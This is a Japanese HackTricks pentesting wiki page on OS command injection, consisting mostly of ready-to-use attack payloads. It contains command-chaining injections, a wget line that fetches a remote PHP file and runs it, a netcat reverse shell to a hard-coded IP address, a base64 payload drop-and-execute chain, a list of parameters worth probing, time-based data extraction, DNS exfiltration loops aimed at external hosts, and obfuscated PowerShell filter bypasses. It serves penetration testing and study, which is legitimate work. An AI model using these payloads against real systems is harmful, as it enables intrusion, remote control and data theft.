hacktricks/src/pentesting-web/command-injection.md

132 lines
4.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# コマンドインジェクション
{{#include ../banners/hacktricks-training.md}}
## コマンドインジェクションとは?
**コマンドインジェクション**は、攻撃者がアプリケーションをホストしているサーバー上で任意のオペレーティングシステムコマンドを実行することを許可します。その結果、アプリケーションとそのすべてのデータが完全に危険にさらされる可能性があります。これらのコマンドの実行により、攻撃者はアプリケーションの環境や基盤となるシステムに対して不正アクセスまたは制御を得ることができます。
### コンテキスト
**入力がどこにインジェクトされるか**によって、コマンドの前に**引用されたコンテキストを終了する**必要があるかもしれません(`"`または`'`を使用)。
## コマンドインジェクション/実行
```bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful
#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```
### **制限** バイパス
もしあなたが **Linuxマシン内で任意のコマンドを実行しようとしている** のなら、この **バイパス** について読むことに興味があるでしょう:
{{#ref}}
../linux-hardening/bypass-bash-restrictions/
{{#endref}}
### **例**
```
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
```
### パラメータ
ここにコードインジェクションや同様のRCE脆弱性に対して脆弱である可能性のある上位25のパラメータがあります[link](https://twitter.com/trbughunters/status/1283133356922884096)から):
```
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
```
### 時間ベースのデータ抽出
データを抽出する: 文字ごとに
```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
```
### DNSを利用したデータ流出
`https://github.com/HoLyVieR/dnsbin`からのツールに基づいており、dnsbin.zhack.caでもホストされています。
```
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```
```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
DNSベースのデータ流出をチェックするためのオンラインツール
- dnsbin.zhack.ca
- pingb.in
### フィルタリングバイパス
#### Windows
```
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
```
#### Linux
{{#ref}}
../linux-hardening/bypass-bash-restrictions/
{{#endref}}
## ブルートフォース検出リスト
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
{{#endref}}
## 参考文献
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
{{#include ../banners/hacktricks-training.md}}